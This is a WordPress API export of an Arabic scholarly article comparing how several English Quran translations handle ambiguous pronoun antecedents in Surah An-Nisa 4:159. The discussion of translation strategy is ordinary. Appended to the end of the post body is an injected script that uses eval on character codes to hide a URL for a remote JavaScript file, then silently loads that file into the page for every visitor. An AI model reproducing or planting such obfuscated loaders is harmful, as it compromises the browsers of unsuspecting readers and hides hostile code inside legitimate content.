\u0645\u0646 \u0639\u0648\u0627\u0626\u062f \u0627\u0644\u0636\u0645\u064a\u0631\u060c \u0648\u0643\u0644\u0647\u0627 \u0644\u0627 \u062a\u062a\u0636\u0627\u0631\u0628 \u0645\u0639\u0627\u060c \u0648\u0643\u0644\u0647\u0627 \u0645\u0630\u0643\u0648\u0631\u0629 \u0641\u064a \u0643\u062a\u0628 \u0627\u0644\u062a\u0641\u0627\u0633\u064a\u0631 \u0648\u0643\u062a\u0628 \u0627\u0644\u0644\u063a\u0629\u061f \u0647\u0646\u0627 \u062a\u0623\u062a\u064a \u0627\u0644\u0645\u0642\u062f\u0631\u0629 \u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629 strategic competence \u0627\u0644\u062a\u064a \u062a\u062c\u0639\u0644\u0647 \u064a\u0642\u062f\u0645 \u0623\u0648\u0644\u0648\u064a\u0627\u062a \u0645\u0639\u064a\u0646\u0629\u060c \u0648\u064a\u0636\u062d\u064a \u0628\u062c\u0648\u0627\u0646\u0628 \u0645\u0646 \u0627\u0644\u0645\u0639\u0646\u0649 \u0639\u0644\u0649 \u062d\u0633\u0627\u0628 \u0623\u062e\u0631\u0649.<\/p>\n<p style=\"text-align: justify;\">\u0641\u0644\u0646\u0631\u0649 \u0627\u0644\u062a\u0631\u062c\u0645\u0627\u062a \u0627\u0644\u0645\u062e\u062a\u0644\u0641\u0629 \u0644\u0645\u0639\u0627\u0646\u064a \u0647\u0630\u0647 \u0627\u0644\u0622\u064a\u0629 \u0627\u0644\u0639\u0638\u064a\u0645\u0629:<\/p>\n<p style=\"text-align: justify;\">Sahih International: And there is none from the People of the Scripturebut that he will surely believe in Jesus before his death. And on theDay of Resurrection he will be against them a witness.<\/p>\n<p style=\"text-align: justify;\">MuhammadSarwar: There will be no one among the People of the Book who will notbelieve (a belief of no value) in him (Jesus) before their deaths. Onthe Day of Judgment, (Jesus) will testify against them.<br \/>\u0647\u0627\u062a\u0627\u0646 \u0627\u0644\u062a\u0631\u062c\u0645\u062a\u0627\u0646 \u062a\u0635\u0631\u062d\u0627\u0646 \u0628\u0627\u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649 \u0639\u064a\u0633\u0649 \u0639\u0644\u064a\u0647 \u0627\u0644\u0633\u0644\u0627\u0645 \u0633\u0648\u0627\u0621 \u0641\u064a \u0642\u0644\u0628 \u0627\u0644\u0646\u0635 \u0623\u0648 \u0628\u064a\u0646 \u0627\u0644\u0642\u0648\u0633\u064a\u0646.<\/p>\n<p style=\"text-align: justify;\">Pickthall: There is not one of the People of the Scripture but willbelieve in him before his death, and on the Day of Resurrection he willbe a witness against them &#8211;<\/p>\n<p style=\"text-align: justify;\">Yusuf Ali: And there is none of thePeople of the Book but must believe in him before his death; and on theDay of Judgment he will be a witness against them;-<\/p>\n<p style=\"text-align: justify;\">Arberry: There is not one of the People of the Book but will assuredly believe inhim before his death, and on the Resurrection Day he will be a witnessagainst them.<\/p>\n<p style=\"text-align: justify;\">\u0647\u0630\u0647 \u0627\u0644\u062a\u0631\u062c\u0645\u0627\u062a \u0627\u0644\u062b\u0644\u0627\u062b \u0627\u062e\u062a\u0627\u0631\u062a \u0623\u0646 \u062a\u0636\u0639 \u0627\u0644\u0636\u0645\u064a\u0631 \u0644\u0644\u0639\u0627\u0642\u0644 \u062f\u0648\u0646 \u062a\u062d\u062f\u064a\u062f\u060c \u0648\u0642\u0631\u0631 \u0623\u0635\u062d\u0627\u0628\u0647\u0627 \u0623\u0646 \u0627\u0644\u0633\u064a\u0627\u0642 \u0645\u0641\u0647\u0648\u0645 \u0641\u0644\u0627 \u062d\u0627\u062c\u0629 \u0644\u0628\u064a\u0627\u0646\u0647\u060c \u063a\u064a\u0631 \u0623\u0646 \u0627\u0644\u0633\u064a\u0627\u0642 \u0628\u0639\u062f \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0645\u0627\u0632\u0627\u0644 \u0645\u0644\u062a\u0628\u0633\u0627 \u0644\u0623\u0646 his death \u0644\u0627 \u062a\u0648\u0636\u062d \u0645\u0648\u062a \u0645\u0646.<\/p>\n<p style=\"text-align: justify;\">Shakir: Andthere is not one of the followers of the Book but most certainlybelieves in this before his death, and on the day of resurrection he(Isa) shall be a witness against them.<\/p>\n<p style=\"text-align: justify;\">\u062a\u0631\u062c\u0645\u0629 \u0634\u0627\u0643\u064a\u0631\u060c \u0627\u062e\u062a\u0627\u0631\u062a \u0623\u0646 \u062a\u0643\u0648\u0646 \u0627\u0644\u0634\u0647\u0627\u062f\u0629 \u0644 (\u0639\u064a\u0633\u0649 \u0639\u0644\u064a\u0647 \u0627\u0644\u0633\u0644\u0627\u0645)\u060c \u0644\u0643\u0646 \u0627\u0644\u0625\u064a\u0645\u0627\u0646 \u0644\u064a\u0633 \u0628\u0647\u061b \u0625\u0646\u0645\u0627 \u0628 This\u060c \u0648this \u0647\u0646\u0627 \u0646\u0641\u0633\u0647\u0627 \u0645\u0644\u062a\u0628\u0633\u0629 \u0642\u062f \u062a\u0634\u064a\u0631 \u0625\u0644\u0649 (\u0647\u0630\u0627 \u2013 \u064a\u0639\u0646\u064a \u0627\u0644\u0642\u0631\u0622\u0646)\u060c \u0648\u0642\u062f \u062a\u0643\u0648\u0646 \u062a\u0639\u0646\u064a (\u0647\u0630\u0627 \u2013 \u064a\u0639\u0646\u064a \u0645\u062b\u0644 \u0639\u064a\u0633\u0649 \u0627\u0644\u0645\u0630\u0643\u0648\u0631 \u0641\u064a \u0627\u0644\u0622\u064a\u0629 \u0627\u0644\u0633\u0627\u0628\u0642\u0629: \u0648\u064e\u0642\u064e\u0648\u0652\u0644\u0650\u0647\u0650\u0645\u0652 \u0625\u0650\u0646\u0651\u064e\u0627 \u0642\u064e\u062a\u064e\u0644\u0652\u0646\u064e\u0627 \u0627\u0644\u0652\u0645\u064e\u0633\u0650\u064a\u062d\u064e \u0639\u0650\u064a\u0633\u064e\u0649 \u0627\u0628\u0652\u0646\u064e \u0645\u064e\u0631\u0652\u064a\u064e\u0645\u064e \u0631\u064e\u0633\u064f\u0648\u0644\u064e \u0627\u0644\u0644\u0651\u064e\u0647\u0650 \u0648\u064e\u0645\u064e\u0627 \u0642\u064e\u062a\u064e\u0644\u064f\u0648\u0647\u064f \u0648\u064e\u0645\u064e\u0627 \u0635\u064e\u0644\u064e\u0628\u064f\u0648\u0647\u064f \u0648\u064e\u0644\u064e\u0670\u0643\u0650\u0646 \u0634\u064f\u0628\u0651\u0650\u0647\u064e \u0644\u064e\u0647\u064f\u0645\u0652 \u06da \u0648\u064e\u0625\u0650\u0646\u0651\u064e \u0627\u0644\u0651\u064e\u0630\u0650\u064a\u0646\u064e \u0627\u062e\u0652\u062a\u064e\u0644\u064e\u0641\u064f\u0648\u0627 \u0641\u0650\u064a\u0647\u0650 \u0644\u064e\u0641\u0650\u064a \u0634\u064e\u0643\u0651\u064d \u0645\u0651\u0650\u0646\u0652\u0647\u064f \u06da \u0645\u064e\u0627 \u0644\u064e\u0647\u064f\u0645 \u0628\u0650\u0647\u0650 \u0645\u0650\u0646\u0652 \u0639\u0650\u0644\u0652\u0645\u064d \u0625\u0650\u0644\u0651\u064e\u0627 \u0627\u062a\u0651\u0650\u0628\u064e\u0627\u0639\u064e \u0627\u0644\u0638\u0651\u064e\u0646\u0651\u0650 \u06da \u0648\u064e\u0645\u064e\u0627 \u0642\u064e\u062a\u064e\u0644\u064f\u0648\u0647\u064f \u064a\u064e\u0642\u0650\u064a\u0646\u064b\u0627 (157) \u0628\u064e\u0644 \u0631\u0651\u064e\u0641\u064e\u0639\u064e\u0647\u064f \u0627\u0644\u0644\u0651\u064e\u0647\u064f \u0625\u0650\u0644\u064e\u064a\u0652\u0647\u0650 \u06da \u0648\u064e\u0643\u064e\u0627\u0646\u064e \u0627\u0644\u0644\u0651\u064e\u0647\u064f \u0639\u064e\u0632\u0650\u064a\u0632\u064b\u0627 \u062d\u064e\u0643\u0650\u064a\u0645\u064b\u0627 (158)\u060c \u0648\u0623\u0645\u0627 \u0627\u0644\u0645\u0648\u062a\u060c \u0641\u0642\u062f \u062a\u0631\u0643\u062a\u0647 \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0644\u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0634\u064a\u0631 \u0625\u0644\u0649 \u0639\u064a\u0633\u0649 \u0623\u0648 \u0627\u0644\u0641\u0631\u062f \u0645\u0646 \u0623\u0647\u0644 \u0627\u0644\u0643\u062a\u0627\u0628.<\/p>\n<p style=\"text-align: justify;\">Mohsin Khan: And there is none of the people of the Scripture (Jews andChristians), but must believe in him [&#8216;Iesa (Jesus), son of Maryam(Mary), as only a Messenger of Allah and a human being], before his[&#8216;Iesa (Jesus) or a Jew&#8217;s or a Christian&#8217;s] death (at the time of theappearance of the angel of death). And on the Day of Resurrection, he[&#8216;Iesa (Jesus)] will be a witness against them.<\/p>\n<p style=\"text-align: justify;\">\u062a\u0631\u062c\u0645\u0629 \u0645\u062d\u0633\u0646 \u062e\u0627\u0646 \u0635\u0631\u062d\u062a \u0623\u0646 \u0647\u0646\u0627\u0643 \u0623\u0643\u062b\u0631 \u0645\u0646 \u0639\u0627\u0626\u062f\u060c \u062e\u0627\u0635\u0629 \u0641\u064a \u0627\u0644\u0645\u0648\u062a ([&#8216;Iesa (Jesus) or a Jew&#8217;s or aChristian&#8217;s] death \u0648\u0623\u0636\u0627\u0641\u062a \u0628\u064a\u0646 \u0627\u0644\u0642\u0648\u0633\u064a\u0646 \u062a\u0639\u0644\u064a\u0644 \u0647\u0630\u0627 \u0627\u0644\u0627\u062d\u062a\u0645\u0627\u0644 at the timeof the appearance of the angel of death)<\/p>\n<p style=\"text-align: justify;\">\u0648\u0643\u0645\u0627 \u062a\u0631\u0649\u060c \u0641\u0643\u0644 \u0645\u062a\u0631\u062c\u0645 \u0627\u0636\u0637\u0631 \u0644\u0627\u062a\u062e\u0627\u0630 \u0642\u0631\u0627\u0631\u061b \u0628\u0639\u0636\u0647\u0645 \u0622\u062b\u0631 \u0623\u0644\u0627 \u064a\u062a\u062f\u062e\u0644 \u0648\u064a\u062c\u0639\u0644 \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0645\u0631\u0622\u0629 \u0644\u0644\u0623\u0635\u0644 \u0628\u0643\u0644 \u0627\u062d\u062a\u0645\u0627\u0644\u0627\u062a\u0647\u0627 \u0627\u0644\u0644\u063a\u0648\u064a\u0629\u060c \u063a\u064a\u0631 \u0623\u0646 \u0637\u0628\u064a\u0639\u0629 \u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u062a\u0633\u062a\u0641\u064a\u0636 \u0648\u062a\u0632\u064a\u062f \u0639\u0646 \u0637\u0628\u064a\u0639\u0629 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629 \u0641\u064a \u0627\u0644\u0625\u062d\u0627\u0644\u0629co-reference \u060c \u0648\u0628\u0639\u0636\u0647\u0645 \u0627\u062e\u062a\u0627\u0631 \u0639\u064a\u0633\u0649 \u0639\u0644\u064a\u0647 \u0627\u0644\u0633\u0644\u0627\u0645 \u062f\u0648\u0646 \u063a\u064a\u0631\u0647 \u0627\u0639\u062a\u0645\u0627\u062f\u0627 \u0639\u0644\u0649 \u0627\u0644\u0633\u064a\u0627\u0642\u060c \u062a\u0627\u0631\u0643\u0627 \u062c\u0648\u0627\u0646\u0628 \u0645\u0646 \u0627\u0644\u0622\u064a\u0629 \u064a\u0636\u062d\u0649 \u0628\u0647\u0627\u060c \u0648\u0628\u0639\u0636\u0647\u0645\u060c \u0627\u062e\u062a\u0627\u0631 \u0645\u0648\u0642\u0641\u0627 \u0648\u0633\u0637\u0627 \u0641\u062c\u0639\u0644 \u0623\u062d\u062f \u0627\u0644\u0636\u0645\u0627\u0626\u0631 \u064a\u0634\u064a\u0631 \u0644\u0639\u064a\u0633\u0649 \u0648\u0633\u0627\u0626\u0631 \u0627\u0644\u0636\u0645\u0627\u0626\u0631 \u0645\u0641\u062a\u0648\u062d\u0629 \u062a\u062d\u062a\u0645\u0644 \u0623\u0643\u062b\u0631 \u0645\u0646 \u0645\u0639\u0646\u0649\u060c \u0648\u0628\u0639\u0636\u0647\u0645 \u0627\u062a\u062e\u0630 \u0645\u0648\u0642\u0641\u0627 \u062a\u0648\u0641\u064a\u0642\u064a\u0627 \u0628\u0623\u0646 \u0630\u0643\u0631 \u0643\u0644 \u0645\u0627 \u064a\u0645\u0643\u0646\u0647 \u0645\u0646 \u0627\u0644\u0645\u0639\u0627\u0646\u064a \u062c\u0645\u064a\u0639\u0627.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0627\u0644\u062d\u0643\u0645 \u0639\u0644\u0649 \u062c\u0648\u062f\u0629 \u0643\u0644 \u062a\u0631\u062c\u0645\u0629 \u0645\u0646\u0647\u0627 \u064a\u0646\u0628\u063a\u064a \u0644\u0647 \u0623\u0646 \u064a\u0623\u062e\u0630 \u0641\u064a \u0627\u0639\u062a\u0628\u0627\u0631\u0647 \u0641\u0644\u0633\u0641\u0629 \u0627\u0644\u0645\u062a\u0631\u062c\u0645 \u0648\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u062a\u0647 \u0641\u064a \u0627\u0644\u062a\u0631\u062c\u0645\u0629\u060c \u0648\u0623\u0648\u0644\u0648\u064a\u0627\u062a\u0647 \u0627\u0644\u062a\u064a \u0648\u0636\u0639\u0647\u0627. \u0648\u0627\u0644\u0644\u0647 \u0623\u0639\u0644\u0645<\/p>\n<p><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0623.\u062f. \u0639\u0646\u062a\u0631 \u0635\u0644\u062d\u064a | \u0623\u0633\u062a\u0627\u0630 \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0648\u0627\u0644\u0644\u063a\u0648\u064a\u0627\u062a \u2013 \u062c\u0627\u0645\u0639\u0629 \u062c\u0646\u0648\u0628 \u0627\u0644\u0648\u0627\u062f\u064a \u2013 \u0645\u0635\u0631 \u064a\u0643\u062b\u0631 \u0641\u064a \u0627\u0644\u0642\u0631\u0622\u0646 \u0627\u0644\u0643\u0631\u064a\u0645 \u0648\u062c\u0648\u062f \u0636\u0645\u0627\u0626\u0631 \u0645\u062a\u0635\u0644\u0629 \u0642\u062f \u064a\u0633\u0647\u0644 \u0641\u0647\u0645 \u0627\u0644\u0639\u0627\u0626\u062f antecedent \u0641\u064a\u0647\u0627 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0633\u064a\u0627\u0642\u060c \u0648\u0642\u062f \u064a\u0635\u0639\u0628 \u0630\u0644\u0643 \u0623\u062d\u064a\u0627\u0646\u0627. \u0648\u0627\u0644\u0642\u0627\u0631\u0626 \u0627\u0644\u0639\u0631\u0628\u064a \u064a\u0639\u062a\u0645\u062f \u0628\u0634\u0643\u0644 \u0643\u0628\u064a\u0631 \u0639\u0644\u0649 \u062d\u0635\u064a\u0644\u062a\u0647 \u0627\u0644\u0644\u063a\u0648\u064a\u0629 repertoire \u0641\u064a \u0645\u062d\u0627\u0648\u0644\u0629 \u0645\u0639\u0631\u0641\u0629 \u0627\u0644\u0639\u0648\u0627\u0626\u062f \u0627\u0644\u0645\u062e\u062a\u0644\u0641\u0629 \u0644\u0644\u0636\u0645\u0627\u0626\u0631 \u0627\u0644\u0645\u062e\u062a\u0644\u0641\u0629co-reference . \u0648\u0647\u0630\u0627 \u0627\u0644\u0641\u0647\u0645 \u0627\u0644\u0623\u0648\u0644\u064a \u064a\u0639\u064a\u0646 \u0639\u0644\u0649 &hellip;<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"_links":{"self":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/23117"}],"collection":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=23117"}],"version-history":[{"count":1,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/23117\/revisions"}],"predecessor-version":[{"id":23118,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/23117\/revisions\/23118"}],"wp:attachment":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=23117"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=23117"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=23117"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}